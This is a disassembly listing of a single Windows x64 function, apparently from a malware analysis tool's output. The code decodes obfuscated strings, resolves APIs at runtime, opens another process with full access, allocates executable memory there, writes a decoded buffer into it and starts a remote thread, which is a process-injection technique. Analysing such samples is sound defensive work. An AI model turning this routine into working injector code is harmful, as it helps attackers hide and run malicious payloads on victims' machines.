Function at 0x140002b00
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call fcn.140001540
mov rax, qword [0x140271690]
mov rsi, qword [0x140271510]
mov rbx, qword [str.p_r_]
mov r8, qword [0x140271500]
movsxd rdx, dword [rax]
movsxd r9, dword [rsi]
mov rcx, rbx
call fcn.140002ab0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140002e4e
mov rax, qword [str.__f_]
mov rdi, qword [str.P_f_]
movsxd r9, dword [rsi]
mov r8, qword [0x140271500]
movsxd rdx, dword [rax]
mov rcx, rdi
call fcn.140002ab0
mov rdx, rdi
mov rcx, rbx
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov rbp, qword [0x140271560]
movsxd r9, dword [rsi]
mov qword [0x1401600b0], rax
mov rax, qword [0x140271570]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140271660]
movsxd r9, dword [rsi]
mov r12, rax
mov rax, qword [str.__r_]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140271580]
movsxd r9, dword [rsi]
mov r13, rax
mov rax, qword [0x140271590]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x1402715e0]
movsxd r9, dword [rsi]
mov qword [0x1401600a0], rax
mov rax, qword [0x1402715f0]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140271600]
movsxd r9, dword [rsi]
mov qword [0x1401600c0], rax
mov rax, qword [0x140271610]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140271540]
movsxd r9, dword [rsi]
mov qword [0x1401600d0], rax
mov rax, qword [0x140271550]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140271630]
movsxd r9, dword [rsi]
mov qword [0x140160090], rax
mov rax, qword [0x140271640]
mov r8, qword [0x140271500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, rbp
mov rcx, rbx
call rdi
mov r14, qword [0x140271620]
movsxd r9, dword [rsi]
mov rbp, rax
mov rax, qword [0x140271650]
mov r8, qword [0x140271500]
mov rcx, r14
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rdx, r14
mov rcx, rbx
call rdi
mov r15, qword [str.p_f_]
movsxd r9, dword [rsi]
mov r14, rax
mov rax, qword [0x1402715d0]
mov r8, qword [0x140271500]
mov rcx, r15
movsxd rdx, dword [rax]
call fcn.140002ab0
mov rcx, rbx
mov rdx, r15
call rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x28], 0
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r8d, 0x1000
call rbp
test rax, rax
je 0x140002e55
mov rax, qword [0x1402716b0]
mov rdi, qword [0x1402716a0]
movsxd r9, dword [rsi]
mov r8, qword [0x140271500]
movsxd rdx, dword [rax]
mov rcx, rdi
call fcn.140002ab0
mov rcx, rdi
call fcn.140002a10
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call rbx
mov rbx, rax
test rax, rax
je 0x140002e5c
mov rbp, qword [0x140271530]
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
movsxd r8, dword [rbp]
mov dword [rsp + 0x20], 0x40
call r14
movsxd r9, dword [rsi]
movsxd rdx, dword [rbp]
mov rsi, qword [0x140271520]
mov r8, qword [0x140271500]
mov rdi, rax
mov rcx, rsi
call fcn.140002ab0
movsxd r9, dword [rbp]
mov r8, rsi
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov rcx, rbx
call r13
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call r12
mov rcx, rbx
call qword [0x140160090]
xor eax, eax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 4
jmp 0x140002e3d
mov eax, 0xfffffffd
jmp 0x140002e3d
or eax, 0xffffffff
jmp 0x140002e3d